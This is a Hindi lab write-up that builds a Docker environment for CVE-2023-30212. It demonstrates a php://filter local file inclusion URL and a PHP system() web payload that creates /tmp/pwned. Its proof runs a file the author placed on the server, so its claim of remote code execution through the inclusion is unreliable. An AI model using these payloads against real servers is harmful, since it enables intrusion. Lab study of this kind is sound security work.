cve-2023-30212

Docker का उपयोग करके CVE-2023-30212 के लिए PoC

CVE-2023-30212 पर्यावरण सेटअप और PoC रिपोर्ट

📌 अवलोकन

यह रिपोर्ट Vulhub में उपलब्ध नहीं होने वाली CVE-2023-30212 कमज़ोरी के लिए Docker-आधारित कमज़ोर वेब पर्यावरण को स्वयं स्थापित करने और PoC के माध्यम से उस कमज़ोरी को सिद्ध करने का विवरण प्रस्तुत करती है।

• CVE नंबर: CVE-2023-30212
• कमज़ोरी का विवरण: PHP LFI (Local File Inclusion) के माध्यम से रिमोट कोड निष्पादन की संभावना
• कठिनाई स्तर: उन्नत (Vulhub में उपलब्ध नहीं पर्यावरण की स्थापना)

🔧 पर्यावरण सेटअप

1. Dockerfile और docker-compose सेटअप

• आधार इमेज: php:8.1-apache
• /var/www/html निर्देशिका में vulnerable.php और malicious.php कॉपी करें
• पोर्ट 8088 पर बाहरी पहुँच संभव

2. मुख्य फ़ाइलों का विवरण

🚀 कमज़ोरी निष्पादन प्रवाह (PoC)

1. कंटेनर चलाना

docker-compose up -d

कंटेनर का नाम: cve-2023-30212-cve-lfi-1

Apache सर्वर चालू होता है तथा http://localhost:8088 पर पहुँच संभव है

2. LFI-आधारित दुर्भावनापूर्ण फ़ाइल स्रोत की पुष्टि नीचे दिए गए URL को कॉल करके malicious.php की सामग्री को base64 एन्कोडेड रूप में जाँचें:

http://localhost:8088/vulnerable.php?file=php://filter/convert.base64-encode/resource=malicious.php

आउटपुट को डिकोड करने पर नीचे दिया गया PHP कोड दिखाई देता है:

<?php system("touch /tmp/pwned"); ?>

3. कमांड निष्पादन और परिणाम की पुष्टि नीचे दिए गए URL को कॉल करके वास्तव में कमांड निष्पादित करें:

http://localhost:8088/malicious.php

कमांड निष्पादित करने के बाद, /tmp/pwned फ़ाइल बन जानी चाहिए।

docker exec -it cve-2023-30212-cve-lfi-1 ls /tmp

यदि परिणाम में pwned फ़ाइल मौजूद है, तो सफलता।

परिणाम सारांश

php://filter-आधारित LFI कमज़ोरी के माध्यम से दुर्भावनापूर्ण फ़ाइल की सामग्री की पुष्टि और डिकोडिंग सफल रही

system() फ़ंक्शन युक्त दुर्भावनापूर्ण PHP कॉल के माध्यम से मनमाने कमांड निष्पादित करने में सफलता

/tmp/pwned फ़ाइल बनने के साथ PoC सत्यापन पूर्ण